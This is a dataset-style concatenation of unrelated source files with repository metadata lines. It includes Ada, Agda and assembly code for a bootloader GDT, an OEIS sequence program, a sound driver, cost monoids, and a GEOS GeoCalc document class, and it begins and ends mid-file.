2#00_100_000# => Online,
2#00_100_001# => Fork,
2#00_100_010# => Fork,
2#00_100_011# => Fork,
2#00_100_100# => Fork,
2#00_100_101# => Unknown,
2#00_100_110# => Fork,
2#00_100_111# => Fork,
2#00_101_000# => Fork,
2#00_101_001# => Unknown,
2#00_101_010# => Unknown,
2#00_101_011# => Unknown,
2#00_101_100# => Fork,
2#00_101_101# => Unknown,
2#00_101_110# => Fork,
2#00_101_111# => Fork,
2#00_110_000# => Online,
2#00_110_001# => Fork,
2#00_110_010# => Fork,
2#00_110_011# => Fork,
2#00_110_100# => Fork,
2#00_110_101# => Unknown,
2#00_110_110# => Fork,
2#00_110_111# => Fork,
2#00_111_000# => BranchRight,
2#00_111_001# => Fork,
2#00_111_010# => Fork,
2#00_111_011# => Fork,
2#00_111_100# => BranchRight,
2#00_111_101# => Unknown,
2#00_111_110# => BranchRight,
2#00_111_111# => Perp);
end Line_Finder_Types;
|
src/Web/URI/Everything.agda | agda/agda-web-uri | 1 | 2387 | module Web.URI.Everything where
import Web.URI
import Web.URI.Examples.HelloWorld
import Web.URI.Primitive
import Web.URI.Port
import Web.URI.Port.Primitive
import Web.URI.Scheme
import Web.URI.Scheme.Primitive
|
src/boot/gdt.asm | KirillAldashkin/OSExperiments | 0 | 102015 | <filename>src/boot/gdt.asm<gh_stars>0
GDTStart:
dd 0x0
dd 0x0
GDTCode:
dw 0xffff
dw 0x0
db 0x0
db 10011010b
db 11001111b
db 0x0
GDTData:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 11001111b
db 0x0
GDTEnd:
GDTDescriptor:
dw GDTEnd - GDTStart - 1
dd GDTStart
CodeSegment equ GDTCode - GDTStart
DataSegment equ GDTData - GDTStart |
programs/oeis/309/A309307.asm | neoneye/loda | 22 | 177892 | ; A309307: Number of unitary divisors of n (excluding 1).
; 0,1,1,1,1,3,1,1,1,3,1,3,1,3,3,1,1,3,1,3,3,3,1,3,1,3,1,3,1,7,1,1,3,3,3,3,1,3,3,3,1,7,1,3,3,3,1,3,1,3,3,3,1,3,3,3,3,3,1,7,1,3,3,1,3,7,1,3,3,7,1,3,1,3,3,3,3,7,1,3,1,3,1,7,3,3,3,3,1,7,3,3,3,3,3,3,1,3,3,3
seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
mov $1,2
pow $1,$0
sub $1,1
mov $0,$1
|
Tests/yasm-regression/rdrnd.asm | 13xforever/x86-assembly-textmate-bundle | 69 | 165069 | [bits 64]
rdrand cx ; out: 66 0f c7 f1
rdrand ecx ; out: 0f c7 f1
rdrand rcx ; out: 48 0f c7 f1
|
child_processes-managed.ads | annexi-strayline/AURA | 13 | 26745 | <filename>child_processes-managed.ads
------------------------------------------------------------------------------
-- --
-- Ada User Repository Annex (AURA) --
-- ANNEXI-STRAYLINE Reference Implementation --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Ada.Finalization; use Ada.Finalization;
with Child_Processes.Standard_IO; use Child_Processes.Standard_IO;
with Child_Processes.Platform;
private package Child_Processes.Managed is
type Managed_Process;
task type Termination_Watch (Proc: not null access Managed_Process) is
entry Wait_Terminate (Status: out Exit_Status);
end Termination_Watch;
type Termination_Watch_Access is access Termination_Watch;
-- Note that we don't make Termination_Watch an actual component of
-- Managed_Process yet do to a GNAT bug (we have submitted the patch).
--
-- Once the patch has made it into a later stage mainstream GCC (likely
-- GCC 10), we can reverse this work-around
-- Termination watch waits on the process. Once the process
-- terminates, Wait_Terminate will be serviced immediately, and perpetually
-- until the containing Managed_Process is finalized.
type Stream_Set is array (IO_Stream_Selector) of aliased Standard_IO_Stream;
type Managed_Process is new Limited_Controlled and Child_Process with
record
PID: Platform.Process_ID;
Watch: Termination_Watch_Access;
-- Standard IO (from the perspective of the process
Streams: Stream_Set;
end record;
overriding
function IO_Stream (Process : in out Managed_Process;
Selector: in IO_Stream_Selector)
return not null access Root_Stream_Type'Class;
overriding
procedure Set_Stream_Timeout (Process : in out Managed_Process;
Selector: in IO_Stream_Selector;
Timeout : in Duration);
overriding
function Terminated (Process: Managed_Process)
return Boolean;
overriding
procedure Wait_Terminated (Process : in Managed_Process;
Timeout : in Duration;
Timed_Out: out Boolean;
Status : out Exit_Status);
overriding
procedure Kill (Process: in out Managed_Process);
overriding
procedure Nuke (Process: in out Managed_Process);
overriding
procedure Finalize (Process: in out Managed_Process);
end Child_Processes.Managed;
|
sk/sfx/4A.asm | Cancer52/flamedriver | 9 | 82652 | Sound_4A_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_4A_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_4A_FM5, $05, $00
; FM5 Data
Sound_4A_FM5:
smpsSetvoice $00
dc.b nE2, $06
smpsStop
Sound_4A_Voices:
; Voice $00
; $3C
; $00, $01, $01, $00, $1F, $12, $1A, $1F, $10, $00, $1F, $00
; $09, $13, $0A, $12, $FF, $0F, $FF, $0F, $00, $80, $00, $80
smpsVcAlgorithm $04
smpsVcFeedback $07
smpsVcUnusedBits $00
smpsVcDetune $00, $00, $00, $00
smpsVcCoarseFreq $00, $01, $01, $00
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1A, $12, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $00, $1F, $00, $10
smpsVcDecayRate2 $12, $0A, $13, $09
smpsVcDecayLevel $00, $0F, $00, $0F
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $00, $00, $00
|
src/Calf/CostMonoids.agda | jonsterling/agda-calf | 29 | 4551 | <reponame>jonsterling/agda-calf
{-# OPTIONS --prop --without-K --rewriting #-}
-- Common cost monoids.
module Calf.CostMonoids where
open import Calf.CostMonoid
open import Data.Product
open import Relation.Binary.PropositionalEquality
ℕ-CostMonoid : CostMonoid
ℕ-CostMonoid = record
{ ℂ = ℕ
; _+_ = _+_
; zero = zero
; _≤_ = _≤_
; isCostMonoid = record
{ isMonoid = +-0-isMonoid
; isCancellative = record { ∙-cancel-≡ = +-cancel-≡ }
; isPreorder = ≤-isPreorder
; isMonotone = record { ∙-mono-≤ = +-mono-≤ }
}
}
where
open import Data.Nat
open import Data.Nat.Properties
ℕ-Work-ParCostMonoid : ParCostMonoid
ℕ-Work-ParCostMonoid = record
{ ℂ = ℕ
; _⊕_ = _+_
; 𝟘 = 0
; _⊗_ = _+_
; 𝟙 = 0
; _≤_ = _≤_
; isParCostMonoid = record
{ isMonoid = +-0-isMonoid
; isCommutativeMonoid = +-0-isCommutativeMonoid
; isCancellative = record { ∙-cancel-≡ = +-cancel-≡ }
; isPreorder = ≤-isPreorder
; isMonotone-⊕ = record { ∙-mono-≤ = +-mono-≤ }
; isMonotone-⊗ = record { ∙-mono-≤ = +-mono-≤ }
}
}
where
open import Data.Nat
open import Data.Nat.Properties
ℕ-Span-ParCostMonoid : ParCostMonoid
ℕ-Span-ParCostMonoid = record
{ ℂ = ℕ
; _⊕_ = _+_
; 𝟘 = 0
; _⊗_ = _⊔_
; 𝟙 = 0
; _≤_ = _≤_
; isParCostMonoid = record
{ isMonoid = +-0-isMonoid
; isCommutativeMonoid = ⊔-0-isCommutativeMonoid
; isPreorder = ≤-isPreorder
; isCancellative = record { ∙-cancel-≡ = +-cancel-≡ }
; isMonotone-⊕ = record { ∙-mono-≤ = +-mono-≤ }
; isMonotone-⊗ = record { ∙-mono-≤ = ⊔-mono-≤ }
}
}
where
open import Data.Nat
open import Data.Nat.Properties
combineParCostMonoids : ParCostMonoid → ParCostMonoid → ParCostMonoid
combineParCostMonoids pcm₁ pcm₂ = record
{ ℂ = ℂ pcm₁ × ℂ pcm₂
; _⊕_ = λ (a₁ , a₂) (b₁ , b₂) → _⊕_ pcm₁ a₁ b₁ , _⊕_ pcm₂ a₂ b₂
; 𝟘 = 𝟘 pcm₁ , 𝟘 pcm₂
; _⊗_ = λ (a₁ , a₂) (b₁ , b₂) → _⊗_ pcm₁ a₁ b₁ , _⊗_ pcm₂ a₂ b₂
; 𝟙 = 𝟙 pcm₁ , 𝟙 pcm₂
; _≤_ = λ (a₁ , a₂) (b₁ , b₂) → _≤_ pcm₁ a₁ b₁ × _≤_ pcm₂ a₂ b₂
; isParCostMonoid = record
{ isMonoid = record
{ isSemigroup = record
{ isMagma = record
{ isEquivalence = isEquivalence
; ∙-cong = λ h₁ h₂ →
cong₂ _,_
(cong₂ (_⊕_ pcm₁) (cong proj₁ h₁) (cong proj₁ h₂))
(cong₂ (_⊕_ pcm₂) (cong proj₂ h₁) (cong proj₂ h₂))
}
; assoc = λ (a₁ , a₂) (b₁ , b₂) (c₁ , c₂) → cong₂ _,_ (⊕-assoc pcm₁ a₁ b₁ c₁) (⊕-assoc pcm₂ a₂ b₂ c₂)
}
; identity =
(λ (a₁ , a₂) → cong₂ _,_ (⊕-identityˡ pcm₁ a₁) (⊕-identityˡ pcm₂ a₂)) ,
(λ (a₁ , a₂) → cong₂ _,_ (⊕-identityʳ pcm₁ a₁) (⊕-identityʳ pcm₂ a₂))
}
; isCommutativeMonoid = record
{ isMonoid = record
{ isSemigroup = record
{ isMagma = record
{ isEquivalence = isEquivalence
; ∙-cong = λ h₁ h₂ →
cong₂ _,_
(cong₂ (_⊗_ pcm₁) (cong proj₁ h₁) (cong proj₁ h₂))
(cong₂ (_⊗_ pcm₂) (cong proj₂ h₁) (cong proj₂ h₂))
}
; assoc = λ (a₁ , a₂) (b₁ , b₂) (c₁ , c₂) → cong₂ _,_ (⊗-assoc pcm₁ a₁ b₁ c₁) (⊗-assoc pcm₂ a₂ b₂ c₂)
}
; identity =
(λ (a₁ , a₂) → cong₂ _,_ (⊗-identityˡ pcm₁ a₁) (⊗-identityˡ pcm₂ a₂)) ,
(λ (a₁ , a₂) → cong₂ _,_ (⊗-identityʳ pcm₁ a₁) (⊗-identityʳ pcm₂ a₂))
}
; comm = λ (a₁ , a₂) (b₁ , b₂) → cong₂ _,_ (⊗-comm pcm₁ a₁ b₁) (⊗-comm pcm₂ a₂ b₂)
}
; isCancellative = record
{ ∙-cancel-≡ =
(λ (x₁ , x₂) h → cong₂ _,_ (⊕-cancelˡ-≡ pcm₁ x₁ (cong proj₁ h)) (⊕-cancelˡ-≡ pcm₂ x₂ (cong proj₂ h))) ,
(λ (y₁ , y₂) (z₁ , z₂) h → cong₂ _,_ (⊕-cancelʳ-≡ pcm₁ y₁ z₁ (cong proj₁ h)) (⊕-cancelʳ-≡ pcm₂ y₂ z₂ (cong proj₂ h)))
}
; isPreorder = record
{ isEquivalence = isEquivalence
; reflexive = λ { refl → ≤-refl pcm₁ , ≤-refl pcm₂ }
; trans = λ (h₁ , h₂) (h₁' , h₂') → ≤-trans pcm₁ h₁ h₁' , ≤-trans pcm₂ h₂ h₂'
}
; isMonotone-⊕ = record
{ ∙-mono-≤ = λ (h₁ , h₂) (h₁' , h₂') → ⊕-mono-≤ pcm₁ h₁ h₁' , ⊕-mono-≤ pcm₂ h₂ h₂'
}
; isMonotone-⊗ = record
{ ∙-mono-≤ = λ (h₁ , h₂) (h₁' , h₂') → ⊗-mono-≤ pcm₁ h₁ h₁' , ⊗-mono-≤ pcm₂ h₂ h₂'
}
}
}
where open ParCostMonoid
ℕ²-ParCostMonoid : ParCostMonoid
ℕ²-ParCostMonoid = combineParCostMonoids ℕ-Work-ParCostMonoid ℕ-Span-ParCostMonoid
|
Appl/GeoCalc/Document/documentClass.asm | steakknife/pcgeos | 504 | 246623 | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: GeoCalc
FILE: documentClass.asm
AUTHOR: <NAME>, Feb 12, 1991
ROUTINES:
Name Description
---- -----------
GLB GeoCalcDocumentClass GeoCalc document
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 2/12/91 Initial revision
DESCRIPTION:
This file contains routines to implement the GeoCalcDocument class
$Id: documentClass.asm,v 1.1 97/04/04 15:48:00 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcClassStructures segment resource
GeoCalcDocumentClass ;declare the class record
GeoCalcClassStructures ends
Document segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendToDocSpreadsheet
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a method to the associated spreadsheet object
CALLED BY: UTILITY
PASS: *ds:si - GeoCalcDocumentClass instance
ax - method to send to Spreadsheet
cx, dx, bp - data for method
di - MessageFlags to use
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/27/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendFileToDocSpreadsheet proc far
uses dx
class GeoCalcDocumentClass
.enter
call GetSpreadsheetFile ;
mov dx, bx ;dx <- file handle of ssheet
call SendToDocSpreadsheet
.leave
ret
SendFileToDocSpreadsheet endp
SendToDocSpreadsheet proc far
uses ax, bx, cx, si
class GeoCalcDocumentClass
.enter
call GetDocSpreadsheet ;^lbx:si <- OD of spreadsheet
call ObjMessage
.leave
ret
SendToDocSpreadsheet endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetDocSpreadsheet
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get OD of spreadsheet associated with a document
CALLED BY: SendToDocSpreadsheet()
PASS: *ds:si - GeoCalcDocument object
RETURN: ^lbx:si - OD of associated spreadsheet
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetDocSpreadsheet proc far
class GeoCalcDocumentClass
.enter
Assert objectPtr dssi GeoCalcDocumentClass
mov si, ds:[si]
add si, ds:[si].GeoCalcDocument_offset
mov bx, ds:[si].GCDI_spreadsheet ;bx <- handle of spreadsheet blk
mov si, offset ContentSpreadsheet ;^lbx:si <- OD of spreadsheet
Assert optr bxsi
.leave
ret
GetDocSpreadsheet endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentDetach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: save file name for re-opening
CALLED BY: MSG_META_DETACH
PASS: *ds:si = GeoCalcDocumentClass object
ds:di = GeoCalcDocumentClass instance data
ds:bx = GeoCalcDocumentClass object (same as *ds:si)
es = segment of GeoCalcDocumentClass
ax = message #
cx, dx, bp = detach data
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 3/10/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if not _SAVE_TO_STATE
InitCode segment resource
GeoCalcDocumentDetach method dynamic GeoCalcDocumentClass,
MSG_META_DETACH
uses ax, cx, dx, bp, es, ds, si
filePath local PathName
.enter
push bp
;
; save path to .ini file
;
push ds, si ; save doc obj
push bp ; save locals
mov dx, ss
lea bp, filePath
mov cx, size PathName ; in bytes!
mov ax, MSG_GEN_PATH_GET
call ObjCallInstanceNoLock ; cx = disk handle
mov bx, cx ; bx = disk handle
segmov es, ss
lea di, filePath ; pass fptr, will be unchanged
mov cx, 0 ; just return size
call DiskSave ; cx = size
sub sp, cx ; make room for DiskSave
mov di, sp ; es:di = stack buffer
call DiskSave
mov bp, cx ; bp = save size
mov cx, cs
mov ds, cx
mov si, offset saveFileCategory
mov dx, offset saveFileDiskKey
call InitFileWriteData ; save disk handle
add sp, bp ; free stack buffer
pop bp ; bp = locals
mov dx, offset saveFilePathKey
segmov es, ss
lea di, filePath ; es:di = path
LocalStrSize includeNull
lea di, filePath
mov bp, cx
mov cx, cs
call InitFileWriteData
pop ds, si ; *ds:si = doc obj
;
; save filename to .ini file
; *ds:si = doc obj
;
segmov es, ds
mov di, ds:[si]
add di, ds:[di].Gen_offset
lea di, ds:[di].GDI_fileName ; es:di = filename
push di
LocalStrSize includeNull
pop di
mov bp, cx
mov cx, cs
mov ds, cx
mov si, offset saveFileCategory
mov dx, offset saveFileNameKey
call InitFileWriteData
pop bp
;
; call super for default handling
;
.leave
mov di, offset GeoCalcDocumentClass
GOTO ObjCallSuperNoLock
GeoCalcDocumentDetach endm
InitCode ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentCreateUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create associated UI for new spreadsheet document
CALLED BY: MSG_GEN_DOCUMENT_CREATE_UI_FOR_DOCUMENT
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the method
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/27/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentCreateUI method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_CREATE_UI_FOR_DOCUMENT
mov di, offset GeoCalcDocumentClass
call ObjCallSuperNoLock
;
; clear bits for unmanaged geometry
;
mov bx, Vis_offset
call ObjInitializePart
mov di, ds:[si]
add di, ds:[di].Vis_offset
andnf ds:[di].VI_attrs, not (mask VA_MANAGED)
andnf ds:[di].VI_optFlags, not (mask VOF_GEOMETRY_INVALID \
or mask VOF_GEO_UPDATE_PATH)
;
; Duplicate block with spreadsheet object and ruler objects.
;
mov bx, handle ContentSpreadsheet
clr ax ; have current geode own block
mov cx, -1 ; copy running thread from
; template block
call ObjDuplicateResource
;
; Save the handle of the duplicated block
;
mov di, ds:[si]
add di, ds:[di].GeoCalcDocument_offset
mov ds:[di].GCDI_spreadsheet, bx ;save handle of spreadsheet blk
ret
GeoCalcDocumentCreateUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentDestroyUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy UI-related blocks for document
CALLED BY: MSG_GEN_DOCUMENT_DESTROY_UI_FOR_DOCUMENT
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the method
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/27/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentDestroyUI method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_DESTROY_UI_FOR_DOCUMENT
push ax
;
; Free the spreadsheet block
;
mov ax, MSG_META_BLOCK_FREE
mov di, mask MF_FORCE_QUEUE
call SendToDocSpreadsheet
;
; Let our superclass do its thing (last!)
;
pop ax
mov di, offset GeoCalcDocumentClass
call ObjCallSuperNoLock
ret
GeoCalcDocumentDestroyUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentAttachUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Attach UI for new or existing spreadsheet document
CALLED BY: MSG_GEN_DOCUMENT_ATTACH_UI_TO_DOCUMENT
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the method
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/27/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentAttachUI method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_ATTACH_UI_TO_DOCUMENT
;
; Let our superclass do its thing
;
mov di, offset GeoCalcDocumentClass
call ObjCallSuperNoLock
;
; set bits for getting mouse events
;
mov bx, Vis_offset
call ObjInitializePart
mov di, ds:[si]
add di, ds:[di].Vis_offset
ornf ds:[di].VCNI_attrs, mask VCNA_LARGE_DOCUMENT_MODEL \
or mask VCNA_WINDOW_COORDINATE_MOUSE_EVENTS
if _CHARTS
;
; Tell the spreadsheet to attach internal and external UI
;
mov di, ds:[si]
add di, ds:[di].Gen_offset ;ds:si <- gen instance data
;
; Prepare a block with necessary setup data
;
mov ax, (size SpreadsheetSetupData) ;ax <- size
mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK ;cl,ch <- HeapAllocFlags
call MemAlloc
mov es, ax ;es <- seg addr of block
mov ax, ds:[di].GDI_display
;
; Stick the chart/grobj body in the setup data
;
push bx, si
call GetGrObjBodyOD
movdw es:[SSD_chartBody], bxsi
pop bx, si
call MemUnlock
mov cx, bx ;cx <- handle of setup block
mov dx, ds:[di].GDI_fileHandle ;dx <- VM file handle
mov ax, MSG_SPREADSHEET_ATTACH_UI
mov di, mask MF_CALL or mask MF_FIXUP_DS
call SendToDocSpreadsheet
endif
;
; Add the spreadsheet as our child
;
mov di, ds:[si]
add di, ds:[di].GeoCalcDocument_offset
mov cx, ds:[di].GCDI_spreadsheet
push cx ;save ruler handle
mov dx, offset ContentSpreadsheet ;^lcx:dx <- OD of child
clr bp ;bp <- CompChildFlags
mov ax, MSG_VIS_ADD_CHILD
call ObjCallInstanceNoLock
;
; Send the spreadsheet block off to the display for attaching the UI
;
mov di, ds:[si]
add di, ds:[di].GeoCalcDocument_offset
mov cx, ds:[di].GCDI_spreadsheet ; handle of spreadsheet blk
mov di, ds:[si]
add di, ds:[di].Gen_offset ;ds:si <- gen instance data
mov bx, ds:[di].GDI_display ;bx <- handle of display
push si
mov si, offset DisplayDisplay
mov ax, MSG_DISPLAY_ATTACH_UI
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop si
;
; Add graphic body to head and to document
;
if _CHARTS
push si
call GetGrObjBodyOD
pop si
call GeoCalcDocumentAddBodyToDocument
;
; Notify body that document is being opened, passing it head od
;
GetResourceHandleNS GCGrObjHead, cx
mov dx, offset GCGrObjHead ;cx:dx <- head OD
mov ax, MSG_GB_ATTACH_UI
mov di, mask MF_FIXUP_DS
call SendToGrObjBody
endif
pop cx ; cx - handle of content
; (spreadsheet) block
if _CHARTS
;
; Attach rulers to body
;
mov dx, offset GCColumnRuler
mov di,mask MF_FIXUP_DS
mov ax,MSG_GB_ATTACH_RULER
call SendToGrObjBody
endif
if _SPLIT_VIEWS
call GeoCalcDocumentAttachSplitViews
endif
;
; Set the target based on the tool
;
CHART< mov ax, MSG_GEOCALC_DOCUMENT_SET_TARGET_BASED_ON_TOOL >
CHART< GOTO ObjCallInstanceNoLock >
NOCHART<ret >
GeoCalcDocumentAttachUI endm
if _SPLIT_VIEWS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentAttachSplitViews
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Attach all the various views to their contents
CALLED BY: GeoCalcDocumentAttachUI
PASS: cx - handle of content block
*ds:si - GeoCalcDocumentClass object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 8/24/94 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentAttachSplitViews proc near
uses ax,bx,cx,dx,di,si,bp,es
class GeoCalcDocumentClass
.enter
mov bx, cx ; content block
mov cx, ds:[LMBH_handle]
mov dx, si
mov si, offset MidLeftContent
call callSetMaster
mov si, offset MidRightContent
call callSetMaster
mov si, offset BottomLeftContent
call callSetMaster
.leave
ret
callSetMaster:
mov ax, MSG_GEOCALC_CONTENT_SET_MASTER
mov di, mask MF_FIXUP_DS
call ObjMessage
retn
GeoCalcDocumentAttachSplitViews endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentDetachUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close document by sending message to body
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GeoCalcDocumentClass
RETURN:
nothing
DESTROYED:
ax,cx,dx,bp
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 9/ 6/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentDetachUI method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_DETACH_UI_FROM_DOCUMENT
.enter
;
; Have superclass do its thang
;
mov di, offset GeoCalcDocumentClass
call ObjCallSuperNoLock
;
; Remove the spreadsheet as a child of the document and
; hence as part of the visual tree
;
mov ax, MSG_VIS_REMOVE
mov dl, VUM_MANUAL ;dl <- VisUpdateMode
mov di, mask MF_FIXUP_DS
call SendToDocSpreadsheet
;
; Remove body from and document
;
if _CHARTS
push si
call GetGrObjBodyOD
pop si
call GeoCalcDocumentRemoveBodyFromDocument
endif
.leave
ret
GeoCalcDocumentDetachUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
